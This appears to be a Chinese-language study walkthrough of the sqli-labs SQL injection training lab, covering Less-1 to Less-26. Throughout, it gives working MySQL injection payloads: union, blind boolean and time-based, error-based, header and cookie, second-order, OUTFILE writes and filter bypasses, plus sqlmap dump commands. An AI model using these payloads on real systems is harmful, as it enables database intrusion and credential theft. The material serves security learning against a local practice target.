目录
报错的处理方式
Less1
首先来爆字段
联合注入
判断注入点
爆数据库名
爆破表名
information_schema
information_schmea.tables
group_concat()
爆破列名
information_schema.columns
爆值
SQLMAP
Less-2 -4
Less -5 布尔
数据库
表名
字段名
爆破值
SQLMAP
Less-6
Less-7
这个题目使用布尔注入可以
outfile
Less-8
Less-9 时间注入
Less-10
Less-11
万能密码原理
Less-12
Less-13 报错注入 updatexml()
布尔注入
报错注入
查看是不是报错注入
爆数据库
爆破表名
爆破表名
爆破字段名
报错的长度受限制
substr
limit
concat()和group_concat()
所以只有concat()才可以 limit
Less-14 报错注入 extractvalue()
Less-15 post类型的sqlmap
Less-16
Less-17 报错注入 主键重复
这次使用另一个注入 主键重复
首先我们要知道rand()函数
了解完rand 我们开始了解一下 floor()
最后我们需要了解 group by 和 count(*)
构造报错
第一次计算和第二次计算
第三次计算
第四次计算和第五次计算
这里就会发生主键重复报错
注意
做题
爆破数据库
爆破表名
爆破字段名
爆破值
extractvalue()
这里注意
Less-18 UA注入
Less-19 Referer
Less-20 Cookie
Less-21
Less-22
Less-23 过滤 注释符
查看注入点
Less-24 二次注入
1首页(登入界面)
2创建新用户界面
3登入成功界面(修改密码)
解释
测试
测试
接下来我们看看源代码
登入界面
index.php
login.php
mysql_real_escape_string()函数
注册界面
new_user.php
login_create.php
修改密码界面
logged_in.php
pass_change.php
Less-25 or和and的过滤
双写绕过
or用|| and使用 &&
添加注释
大小写变形
编码
Less-25a
Less-26 空格、union和select的过滤
Less-26a 判断闭合
Less-27 过滤 union select
编辑
Less-27a
Less-28 过滤union空格select组合
Less-28a
Less-29 参数污染
http存在参数污染
把id作为我们处理完的字符串 那就无法造成参数污染
Less-30
Less-31
Less-32 宽字节注入
我们首先理解什么是宽字节
介绍完宽字节 我们回到这个题目进行看看注入的原理
那我们只要输入一个符合第一个字节的 就可以让GBK编码认为 这个是一个汉字 然后就吞掉\转义符
Less-33
Less-34 POST类型的宽字节注入编辑
Less-35 整型宽字节注入
Less-36
Less-37
Less-38 堆叠注入
Less-39
Less-40
Less-41
Less-42 密码处实现堆叠注入
Less-43
Less-44
Less-45
Less-46 order by 的报错注入
Less-47
Less-48
Less-49
Less-50 整数型的堆叠注入
Less-51 order by 的单引号
Less-52
Less-53
Less-54 挑战 联合注入
Less-55
Less-56
Less-57
Less-58 报错
Less-59
Less-60
Less-61
Less-62
Less-63
Less-64
Less-65
主要对sqli-labs 的深入学习
报错的处理方式
[问题解决方案]Illegal mix of collations for operation ‘UNION‘,_illegl mix of union_Gy-1-__的博客-CSDN博客
Less1
我们先看看源代码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
传参是原封不动的传参
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里是进行SQL注入的地方 而且没有进行过滤
$result=mysqli_query($con, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysqli_error($con));echo "</font>"; }
}else { echo "Please input the ID as parameter with numeric value";}?>
如果我们直接传入错误的
因为我们可以直接在linux命令行中执行
SELECT * FROM users WHERE id='$id' LIMIT 0,1;
发现是一样的
SELECT * FROM users WHERE id='1' union select 1,2,3#' LIMIT 0,1 ;
我们尝试联合查询 union
但是这个是因为第一条查询到了 然后返回第二条
我们如何只看第二条呢 只要让第一条找不到就可以了
SELECT * FROM users WHERE id='-1' union select 1,2,3#' LIMIT 0,1 ;
这里只需要 将id设置为数据库不存在的即可
这里有一个很重要的问题
我们先需要了解 union是 怎么查询的SELECT column1, column2, ... FROM table1
UNION
SELECT column1, column2, ... FROM table2;首先要保证两个查询的column数是一样的假如
SELECT id, name, age FROM students WHERE id = 100
UNION
SELECT id, name, age FROM teachers WHERE id = 200;但是没有 id=100的数据但是,由于第二个 SELECT 查询的列数和数据类型与第一个查询的结果集相同
UNION 运算符会返回第二个 SELECT 查询的结果,只要它的 WHERE 子句中的条件满足。因此,在使用 UNION 运算符组合两个 SELECT 查询时,只要它们的列数和数据类型相同
即使第一个查询没有返回结果,仍然可以返回第二个查询的结果。
这里就是我们最基本SQL注入的想法 通过第一个查询不到 然后和第二个查询 形成集合返回给我们
就只会返回第二个 因为第一个查找不到
所以我们可以开始做这道题目
?id=1'
来判断是什么类型的 发现是字符型 因为一个单引号报错
near ''1'' LIMIT 0,1' at line 1
这里会蒙其实报错报错信息是
'1'' LIMIT 0,1
所以我们能够发现是字符型注入
我们先看看能不能构造万能密码
?id=1' or 1=1 -- + 发现是可以的select * from users where id ='1'or 1=1-- +'真 or 真就算我们使用假的也可以select * from users where id ='-1'or 1=1-- +'假 or 真
这个在数据库里面是怎么查询的呢
这样就很明显能发现 可以返回数据库里的内容了
首先来爆字段
?id=1' order by 1-- +
?id=1' order by 2-- +
?id=1' order by 3-- +
?id=1' order by 4-- +
发现字段为3
order by 就是通过列来排列 默认是降序这里是通过 order by 来判断字段因为123 的时候有返回 4就没有 说明就有3个字段
联合注入
我们猜完字段就可以使用 union来联合注入
union的作用 select 语句1
union
select 语句2union 会把两个select 语句 结果变为一个集合返回如果1 报错 没有返回 就会返回2的结果
判断注入点
首先我们看看哪里会回显
/?id=-1' union select 1,2,3-- +
注意前面需要是错误的id
发现我们可以在 2 3 进行注入
爆数据库名
?id=-1' union select 1,2,database()-- +
我们使用database()函数来爆破 数据库的名字
database()是一个Mysql函数 在查询语句的时候返回当前数据库的名字
这里我们就得到了数据名字
爆破表名
这里我们就需要了解一下其他的系统数据库和表
information_schema
是一个系统数据库 它包含了MySQL数据库中所有的元数据信息
information_schmea.tables
这里主要是值tables表
我们需要的数据库 security的信息也在里面
这个tables表可以查询到 数据库所有的表名和信息
所以我们可以继续写语句
我们首先要了解要查什么1.我们需要查数据库的表2.数据库的表 存放在系统数据库的 information_schema.tables表中3.在information_schema.tables中存在table_schema(数据库名) 、table_name(表名)4.我们需要查询 information_schema.tables表中 的table_name(表名) 并且我们已知 table_schema(数据库名)所以我们就可以写sql语句
网站
?id=-1'union select 1,2,table_name from information_schema.tables where table_schema='security'-- +数据库select * from users where id='-1'union select 1,2,table_name from information_schema.tables where table_schema='security'-- +'
这里只会返回 第三列 email的列名 因为 我们是在 3 的地方进行查询
这里就要使用其他的聚合函数
group_concat()
我们要知道 group_concat()是通过将返回值 作为一个字符串返回的函数很好理解table_name from information_schema.tables这里 返回的table_name假设是 a b c 这里是3个返回值group_concat(table_name) from information_schema.tables加上聚合函数返回的就是 "a b c" 变为了1个返回值
从这里就可以看出来 只在3 返回了 并且返回的是一个字符串(所有的列名合为一个)
网站?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- +数据库select * from users where id='-1'union select 1,2,GROUP_CONCAT(table_name) from information_schema.tables where table_schema='security'-- +'
这里我们就得到了表名 现在 就可以选择一个表名进行查看
爆破列名
这里也是要用到我们的系统数据库
information_schema.columns
这个是 系统数据库的字段表
存放着每个数据库的字段信息
1.我们需要确定我们查询的是什么表2.我们需要的是表的字段名3.通过information_schema.columns 可以查询字段名4.要求是要知道 表名是什么
其中的table_name 就是我们知道的信息(表名)
column_name就是我们需要查询的信息(字段名)
假设我们需要查询的是users表
select * from users where id='-1'union select 1,2,GROUP_CONCAT(column_name) from information_schema.columns where TABLE_NAME='users'-- +'
这里就是返回了users的所有字段名
这里返回了一些不是表中的字段
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
这是为什么呢
因为我们在写语句的时候 没有指定数据库 只指定了users我们不排除其他地方也存在users 的表
很显然 还有其他数据的表的字段也返回了
这个时候我们只需要加入一个and 即可
?id=-1'union select 1,2,GROUP_CONCAT(column_name) from information_schema.columns where table_schema='security' and TABLE_NAME='users'-- +
爆值
?id=-1'union select 1,2,GROUP_CONCAT(id,'--------',username,'--------',password) from security.users-- +
因为我们知道了所有的信息 所以爆值就很快
通过字段 然后选择 数据库.表名 即可得出值来
这个时候就很简单取得值即可
SQLMAP
开启mysql 和 apache 服务
保证 靶场搭建
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --tables
这个会返回所有的数据库和数据库的表
我们确定了数据库和表就可以直接来爆破字段
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns
我们就可以直接得出值
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump
Less-2 -4
差不多 注入即可
Less -5 布尔
id=1
id=1'
我们看看能不能直接爆字段
发现是可以的
但是这里不能使用联合注入 因为真 只会返回 You are in的页面
错误就返回什么都没有的页面
我们这个时候可以通过逻辑判断来猜
数据库
?id=1' and length((select database()))>7 -- +这个解释先通过 (select database()) 来查询数据库然后放入 length(数据库的字符串) 来判断长度通过后面的判断来猜测长度
也可以使用其他的逻辑
?id=1' and length((select database()))=8 -- +
这里就确定了 数据库名的长度为8
这个时候就需要另一个函数了 ascii() 和substr()
这个作用就是切片和转为ascii 然后对ascii进行对比就可以爆破出数据库
SUBSTR(要切片的字符串, 从什么时候开始, 切多少)
我们可以开始构造
id=1' and ascii(substr((select database()),1,1))=115 -- +
这里 我们就可以通过二分法 判断 ascii的值为115
为s
然后就可以一个一个爆破出来
这样数据库就爆破完成
接着我们就可以开始爆破表了
表名
/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29-- +
说明有 这个字符串长度为29
然后我们就可以开始一个一个爆破
?id=1' and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,1))=101-- +
第二位
?id=1' and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),2,1))=109-- +
一个一个爆破即可
字段名
/?id=1' and length((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()))=20-- +
长度为20
开始猜
?id=1' and ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()),1,1))=105 -- +
?id=1' and ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()),2,1))=100 -- +
爆破值
猜测长度
?id=1' and length((select group_concat(id,username,password) from security.users))=192-- +
猜测ascii
第一个
?id=1' and ascii(substr((select group_concat(id,username,password) from security.users),1,1))=49 -- +
第二个
?id=1' and ascii(substr((select group_concat(id,username,password) from security.users),2,1))=68 -- +
这样就可以一步一步爆破出来 但是时间很久 所以使用脚本或者sqlmap是遇到布尔的解决方式之一
SQLMAP
sqlmap -u "http://127.0.0.1/sqli-labs/Less-5/?id=1'" --dbs
security
sqlmap -u "http://127.0.0.1/sqli-labs/Less-5/?id=1'" -D security --tables
sqlmap -u "http://127.0.0.1/sqli-labs/Less-5/?id=1'" -D security -T users --columns
sqlmap -u "http://127.0.0.1/sqli-labs/Less-5/?id=1'" -D security -T users --dump
Less-6
判断注入类型
id=1"
数据长度
?id=1" and length((select database()))=8-- +
爆数据名
s
/?id=1" and ascii(substr((select database()),1,1))=115-- +e
?id=1" and ascii(substr((select database()),2,1))=101-- +
.....
最后得到 security
表的长度
/?id=1" and length((select group_concat(table_name)from information_schema.tables where table_schema='security'))=29-- +
猜表名
e
?id=1" and%20 ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,1))=101 -- +m
?id=1" and%20 ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),2,1))=109 -- +
最后得到了
emails,referers,uagents,users
猜字段长度
?id=1"and length((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema='security'))=20 -- +
猜字段名字
i
/?id=1" and%20 ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema='security'),1,1))=105 -- +d
/?id=1" and%20 ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema='security'),2,1))=100 -- +
id,username,password
猜测值的长度
?id=1" and length((select group_concat(id,username,password)from security.users))=192 -- +
猜值的字符串
1
?id=1" and ascii(substr((select group_concat(id,username,password)from security.users),1,1))=49 -- +
D
?id=1" and ascii(substr((select group_concat(id,username,password)from security.users),2,1))=68 -- +
最后就得出来了
Less-7
这个题目使用布尔注入可以
进行闭合的判断
1"))and 1=2-- +ture 说明不是闭合?id=1'))and 1=2-- +false说明是闭合
判断出是闭合后
直接进行布尔注入
?id=1')) and length((select database()))=8-- +
outfile
outfile是mysql通过搜索值导出到本地的一个指令
我们可以进行尝试
?id=-1')) union select 1,2,(select database()) into outfile%20 "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.txt"-- +
发生报错 但是我们去看看我们的路径下是否存在 1.txt
发现存在
内容就是我们需要的
这样我们就可以直接一步一步报出来
?id=-1%27))%20union%20select%201,2,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database())%20into%20outfile%20%22D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\2.txt%22--%20+
?id=-1%27))%20union%20select%201,2,(select%20group_concat(column_name)from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=database())%20into%20outfile%20%22D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\3.txt%22--%20+
?id=-1%27))%20union%20select%201,2,(select%20group_concat(id,%27-----------%27,username,%27-----------%27,password)from%20security.users)%20into%20outfile%20%22D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\4.txt%22--%20+
到这里 就结束了
Less-8
这题和第七题一样
布尔注入 outfile都可以
类型就是 1'
Less-9 时间注入
这道题目 我们无论输入什么 都是返回 you are in
这个时候 不能使用有回显的注入了
因为他们无论有没有回显 都是回显 you are in
这个时候我们使用时间注入
时间注入 是在 布尔注入的基础上 加上了 if 和 sleep
if(查询语句,sleep(10),1)通过这个我们就可以实现时间注入如果 查询语句为真 就执行 sleep(10)否则 执行 1
我们直接进行尝试
先判断闭合
?id=1' and if(1=1,sleep(10),1)-- +
发现确实 加载了10秒 所以 类型就是字符 然后闭合为 1'
可以开始判断 数据库长度
这里不需要才字段数 因为是以布尔注入为基础
直接一位一位爆
猜字段数是因为 union的需要
数据库长度
?id=1' and if(length((select database()))=8,sleep(5),1)-- +
为 8 爆破数据库第一个字符
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)-- +
为s最后得到数据库security爆破表的长度
/?id=1' and if(length((select group_concat(table_name)from information_schema.tables where table_schema='security'))=29,sleep(5),1)-- +为29爆破表的第一个字符
?id=1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,1))=101,sleep(5),1)-- +为e最后爆破出来emails,referers,uagents,users爆破字段的长度
?id=1' and if(length((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()))=20,sleep(5),1)-- +为20爆破字段的第一个字符
?id=1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()),1,1))=105,sleep(5),1)-- +为i最后为 id,username,password 爆破值的长度
?id=1' and if(length((select group_concat(id,username,password)from security.users))=192,sleep(5),1)-- +长度为192开始爆破值
?id=1' and if(ascii(substr((select group_concat(id,username,password)from security.users),1,1))=49,sleep(5),1)-- +最后爆破为
1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4
这样时间注入就实现了
但是花费时间精力巨大 还是推荐sqlmap跑一下
Less-10
?id=1" and if(1=1,sleep(5),1)-- +
判断完字符类型
就和前面一样了
一样的 outfile 也可以使用 但是首先无法猜测字段 所以也就没有办法了
并且正常情况下无法知道 绝对路径
Less-11
变为了Post类型
我们可以选择在 账号 或者密码进行注入
首先进行尝试万能密码
1 or 1=1-- + 整型1' or 1=1 -- + 字符这个既可以看看能不能进入后台 又可以看看是什么类型的闭合
万能密码原理
select * from user where id='1' or 1=1-- +'
最后得到
1' or 1=1 -- +
开始使用联合注入
猜字段
1' order by 3-- +得到两个字段查看回显
1' union select 1,2-- +得到 1,2都可以回显查看数据库名
1' union select 1,database()-- +得到security查看表名
1' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()-- +得到emails,referers,uagents,users查看字段名
1' union select 1,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'-- +得到id,username,password查看值
1' union select 1,group_concat(id,'-------',username,'--------',password)from security.users -- +
Less-12
通过报错判断
然后结合万能密码
1") or 1=1 -- +
正常注入即可
1") union select 1,group_concat(id,'-------',username,'--------',password)from security.users -- +
Less-13 报错注入 updatexml()
判断闭合
1') or 1=1 -- +
这道题 回显 只有两个 一个是正确 一个是错误 所以应该可以使用布尔注入
布尔注入
1') or length((select database()))=8-- +
这里和之前不一样
之前是
1') and length((select database()))=8-- +
因为首先我们无法得到username和password 所以第一个就是假
如果要让语句为真 就要用
假 or 真 = 真
然后就通过 ascii() substr() length() 交替爆破即可
报错注入
这里还可以使用另一个方式 报错注入
通过
updatexml() concat()函数来实现
updatexml()这个和我们查询没什么关系
主要是updatexml(1,2,3)
当第二个参数2为一个特殊符号的时候 就会返回报错这个函数原本是用来更新xml值的updatexml(需要更新的xml文档,xpath表达式,替换的值)在 xpath表达式写入特殊符号 这样就不是返回mysql的报错而是返回 xpath的错误 这个时候要知道另一个函数 concat()就是把两个字符串 合并
concat("hello","world")为helloworld这个时候 通过 updatexml(1,concat(0x7e,查询语句),3)就可以合并返回报错信息其中 concat()内容可以是任何数据类型
所以我们可以直接开始报错注入
查看是不是报错注入
1') and updatexml(1,0x7e,3)-- +
爆数据库
1') and updatexml(1,concat(0x7e,database()),3)-- +
爆破表名
1') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +
爆破表名
1') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')),3)-- +
爆破字段名
1') and updatexml(1,concat(0x7e,(select group_concat(id,'-------',username,'------',password)from security.users)),3)-- +
但是这个时候出现了 新的情况
报错的长度受限制
这个时候 我们就可以使用substr 或者limit
substr
1') and updatexml(1,concat(0x7e,substr((select group_concat(id,'-------',username,'------',password)from security.users),15,31)),3)-- +
limit
注意 limit 需要使用 concat() 而不是group_concat()
1') and updatexml(1,concat(0x7e,(select concat(username,password) from security.users limit 0,1),0x7e),1)
concat()和group_concat()
concat()
group_concat()
所以只有concat()才可以 limit
报错注入 还不只有这些 在后面的题继续给出
Less-14 报错注入 extractvalue()
首先我们要先了解这个函数是什么
extractvalue(xml字符串,xpath表达式)这个和updatexml一样 都是通过xpath表达式的报错 来实现报错注入
这个我们理解后 就可以直接开始了
判断闭合
1" or 1=1-- +
发现只有 成功和失败 这里就布尔注入
但是我们看看能不能报错注入
1" or extractvalue(1,0x7e)-- +
发现存在了
那我们就开始
爆破数据库
1" or extractvalue(1,concat(0x7e,(select database())))-- +
爆破表
1" or extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security')))-- +
爆破字段
1" or extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database())))-- +
爆破值
1" or extractvalue(1,concat(0x7e,(select concat(id,username,password)from security.users limit 0,1)))-- +
最后修改 limit x,1即可
Less-15 post类型的sqlmap
发现没有任何报错信息 只有成功和失败 那么就是 布尔注入
1' or 1=1-- +
那么就可以使用length()->ascii()->substr()来实现布尔注入
这里主要演示 POST类型的SQLMAP
首先输入账号密码(随便)进行抓包
右键->copy to file
保存到sqlmap的目录下
sqlmap -r "路径" --dbs
Less-16
1") or 1=1-- +
布尔注入
Less-17 报错注入 主键重复
这题我们可以看到不一样的界面
发现是密码重置
说明我们是在密码重置的地方进行注入
那我们可以想一想
如果我们已经进入密码注入 那么我们是不是就已经进入了后台 因为
一般的都是需要你验证过了 才可以实现设置密码
来试试看
发现报错了
但是这个位置 有点奇怪
1' and 1=1-- +
通过这个我们能够确认了 1' 为闭合
我们开始尝试
先看看能不能联合注入 看看能不能猜字段
1' order by 1-- +
发现不可以
我们看看能不能报错注入
1' and updatexml(1,0x7e,3)-- +
发现出现了 这里可以通过报错注入
那我们开始注入
这次使用另一个注入 主键重复
这个我觉得还是挺复杂的
首先我们要知道rand()函数
rand()函数是在 0-1之间生成随机数
其中 如果给rand指定参数 例如rand(0) 那么他就会以这个种子(规律)去生成
其中 如果给定了值 生成的随机数就不会变
rand(0)第一次的生成
rand(0)第二次生成
发现没有任何的变化 所以其实就是固定生成这些
了解完rand 我们开始了解一下 floor()
floor()其实没有什么特别的 就是向下取整
主要的用法只是对rand()进行变化
这里就要提出一个
floor(rand(0)*2)
这个其实就是对rand的值进行计算
得出来的其实就是0 1
最后我们需要了解 group by 和 count(*)
count(*)就是进行计算出现了多少条
group by 就是通过什么分组
这两个在一起就会出现
select count(*) from users group by password
因为我们的表中 password没有重复的值 所以都是1
构造报错
这里就到主键重复报错了
首先我们先给出代码
select COUNT(*) from users group BY floor(rand(0)*2)
然后来看看代码是怎么运行的
首先生成一个虚拟表
第一次计算和第二次计算
计算得出为 0 但是其中并没有0 的主键 所以会在对floor进行执行
这里相当于第一次执行是查值第二次才是插入值
得到1 就把1 插入 然后count(*)+1
主键 | count(*) |
1 | 1 |
第三次计算
首先通过group by 查值
发现是1 里面存在主键1 所以直接 count(*)+1即可
主键 | count(*) |
1 | 2 |
第四次计算和第五次计算
先通过group by查值
发现是0 表中不存在
那么就需要再计算一次来插入
得到1 但是1在主键中已经存在了
这里就会发生主键重复报错
注意
这里序列应该是 0110
假如序列是0,1,0,0 或者 1,0,1,1 就不会形成报错 因为 会插入主键 0,1
做题
通过学习我们知道了 主键重复注入
爆破数据库
1' and (select count(*)from information_schema.tables group by concat(database(),floor(rand(0)*2)))-- +
得到数据库security
爆破表名
1' and (select count(*)from information_schema.tables group by concat((select group_concat(table_name)from information_schema.tables where table_schema='security'),floor(rand(0)*2)))-- +
得到了表emails,referers,uagents,users
爆破字段名
1' and (select count(*)from information_schema.columns where table_schema=database() group by concat((select group_concat(column_name)from information_schema.columns where table_name='users'and table_schema=database()),floor(rand(0)*2)))-- +
得到字段名id,username,password1
爆破值
1' and (select 1 from(select count(*),concat((select username from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x)a) -- +
这里的写法不一样
1' and (select 1 from(select count(*),concat((select group_concat(username)from users),floor(rand(0)*2))x from information_schema.columns group by x)a)-- +1' and (select 1 from(select count(*),concat(substr((select group_concat(password)from users),52,120),floor(rand(0)*2))x from information_schema.columns group by x)a)-- +
是通过别名来实现 这里后面可以深入了解一下
MYSQL报错注入的一点总结 - 先知社区ll
我们通过这个写法来写一遍注入
数据库名
1' and (select 1 from(select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)-- +
表名
1' and (select 1 from(select count(*),concat((select group_concat(table_name)from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)-- +
字段名
1' and (select 1 from(select count(*),concat((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()),floor(rand(0)*2))x from information_schema.columns group by x)a)-- +爆破值
1' and (select count(*),concat((select group_concat(username)from users),floor(rand(0)*2))x from information_schema.columns group by x limit 0,2)-- +
从这里看出 group by 的使用条件要很多 比如 需要至少3个数据等
正常报错注入使用前两个即可
extractvalue()
数据库
1' and extractvalue(1,concat(0x7e,(select database())))-- +
表名
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security')))-- +
字段
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database())))-- +
值
1' and extractvalue(1,concat(0x7e,(select * from(select group_concat(id,username,password)from users)a)))-- +
这里注意
在指定users表的时候 会报错 因为mysql不允许查询和更新语句在一起的时候 使用同一个表
所以这里通过
(select * from(select group_concat(id,username,password)from users)a)
生成了一个新的a 虚拟表来查询 这样就不会报错了
Less-18 UA注入
这里主要是写UA注入
我们先进行判断
这里
出现了一个ip地址 然后又有一个登入注册框
我们可以看看
首先 我们先进行登入 一定要登入成功!!
然后我们进行抓包 因为修改UA 要么用hackbar 要么就是bp最方便
我们不知道ua是什么语句 我们就随便输入一个' 看看
User-Agent: '
发现报错信息了
我们继续测试
User-Agent: '1'
发现报错了
我们就可以猜
('ua','ip地址','用户')
差不多是这样 那我们只有 ua是可控的
我们就想想看怎么可以实现
('' or updatexml(1,0x7e,3),0,1)-- +','ip地址','用户')通过构造报错注入这里就实现了('' or updatexml(1,0x7e,3),0,1) 这个语句三个参数 1:'' or updatexml(1,0x7e,3)
2:0
3:1
然后就可以开始爆破了
' or updatexml(1,concat(0x7e,database()),3),0,1)-- +
' or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3),0,1)-- +
' or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')),3),0,1)-- +
' or updatexml(1,concat(0x7e,(select concat(id,username,password)from security.users limit 0,1)),3),0,1)-- +
这样就爆破完毕了
Less-19 Referer
成功登入后
那这次是 Referer
Referer: ' or updatexml(1,0x7e,3),1)-- +
发现可以注入
Less-20 Cookie
首先我们打开网站
通过测试发现登入界面无法注入
从后端代码也可以发现存在 一个check input
所以我们先尝试登入后 看看有没有存在注入
我们要测试哪里可能存在语句
所以bp抓包看看
经过测试 发现是在cookie上存在与数据库交互
Cookie: uname='
我们看看能不能直接使用报错注入 因为 他语句后面就是 limit 0,1没有其他参数
Cookie: uname=' and updatexml(1,0x7e,3)-- +
发现存在
我们就直接开始爆破即可
' or updatexml(1,concat(0x7e,(select database())),3)-- +' or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +' or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database())),3)-- +' or updatexml(1,concat(0x7e,(select concat(username,password)from security.users limit 0,1)),3)-- +
我们看看源代码
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
Less-21
这道题一样的
登入后进行抓包
在cookie中发现了 base64加密
我们看看上传base64的加密后的闭合看看
发现了报错 是 ')类型的
我们直接加上 然后看看报错注入可不可以
然后进行注入即可
Less-22
和21一样 只不过 闭合是双引号闭合
Less-23 过滤 注释符
从这里就开始过滤了
我们先fuzz一下看看
通过fuzz 我们能发现 是单引号闭合
?id=1' or 1=2-- +
但是这个报错信息有问题 因为我们使用 -- + 进行注释 后面的 但是会返回 limit
说明有可能被过滤了
我们看看其他注释
#
发现是一样的
因为我们知道了是单引号闭合
我们来判断
1' and '1'='1
1' and '1'='2
发现确定了 我们开始看看union注入可不可以
这里无法使用 order by 来判断字段 所以只能使用 select 一个一个猜
这里就可以判断出 是3个字节 回显了正确的值
查看注入点
/?id=-1' union select 1,2,'2
爆破数据库
之后就是正常的联合注入了
Less-24 二次注入
该注入 并不是我们执行查询来实现爆破数据库
而是通过 设计者的逻辑缺陷来 实现获得管理员账号
首先我们收集一下信息
存在哪页面可以让我们进行测试注入
1首页(登入界面)
2创建新用户界面
3登入成功界面(修改密码)
该二次注入 就是在测试
所以注入其实还是靠猜
首先我们看看能不能对两个不登入界面进行测试
发现1 无法注入 存在过滤
2也无法注入 就是创建一个用户而已
我们这个时候想一想
如果他只是通过转义呢
解释
\' ----->'
如果只是进行转义 那我们 假如输入 admin'
他就会变为 admin \' 这样我们就无法实现注入 会被当做字符
但是存入数据库的却还是 admin'
这里就是设计的缺陷地方
如果我们输入 admin ' #或者 admin ' -- +
那么会被过滤 但是存入数据库的还是 admin' # 和 admin ' -- +
测试
这里发现 我们输入的恶意语句 直接作为字符串存入了数据库
那我们看看能不能登入
成功登入
这里是一个修改密码的语句
那我们思考一下
数据库中已经指定了我们的账号 admin'#
那在数据库中一般是如何指定呢
username='用户名'
那我们恶意的字符串呢
username='admin'#'
那这里 不就实现了我们的注入 因为会注释掉后面的' 所以这个时候会修改admin的账号
那我们不就可以通过admin登入管理员界面了
测试
修改成功
发现admin被修改了
我们看看能不能登入
发现成功登入了
这个就是二次注入简单应用
接下来我们看看源代码
登入界面
index.php
传给login.php
login.php
转义
我们来看看这个函数是干嘛用的
mysql_real_escape_string()函数
是对字符串进行转义的
假如我们输入 admin'
他就会自动 admin\'
然后就会实现转义
对
单引号'
双引号"
反斜杠\
Null字符 \0
这些进行转义
所以在这里我们无法通过 ' 闭合来实现sql注入
注册界面
new_user.php
输入的内容转到 login_create.php处理
login_create.php
过滤
插入
这里就是直接把我们污染的用户名插入数据库
修改密码界面
logged_in.php
pass_change.php
过滤
更新语句
如果两个密码相同 就更新
这里就是注入的地方
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";这样修改的就是admin的密码了 这样就得到了管理员的账号
二次注入就到此结束
Less-25 or和and的过滤
提示了or and 可能过滤了这两个
我们看看 能不能通过逻辑判断来判断注入点
在提示中发现 确实过滤了and
这里我们可以看看有几种绕过的方式
双写绕过
or----> oorrand----> anandd
这种过滤的原理就是 他匹配到了 or 和 and 并且过滤了 但是过滤完会重新组合为 or 和 and
or用|| and使用 &&
这里and无法使用 && 但是 or可以使用 ||
?id=-1' || 1=1-- +
添加注释
/*or*/
发现不行
大小写变形
Or oR
aND And
不行
编码
hex
url
但是都不行
Less-25a
还是 or 和 and 通过判断是整数型
?id=(2-1)
通过这个判断即可
然后继续注入即可
Less-26 空格、union和select的过滤
过滤了空格和一些命令
我们试试看
绕过空格
我们可以使用()来实现
这道题我的环境中只可以使用报错注入 无法绕过空格过滤
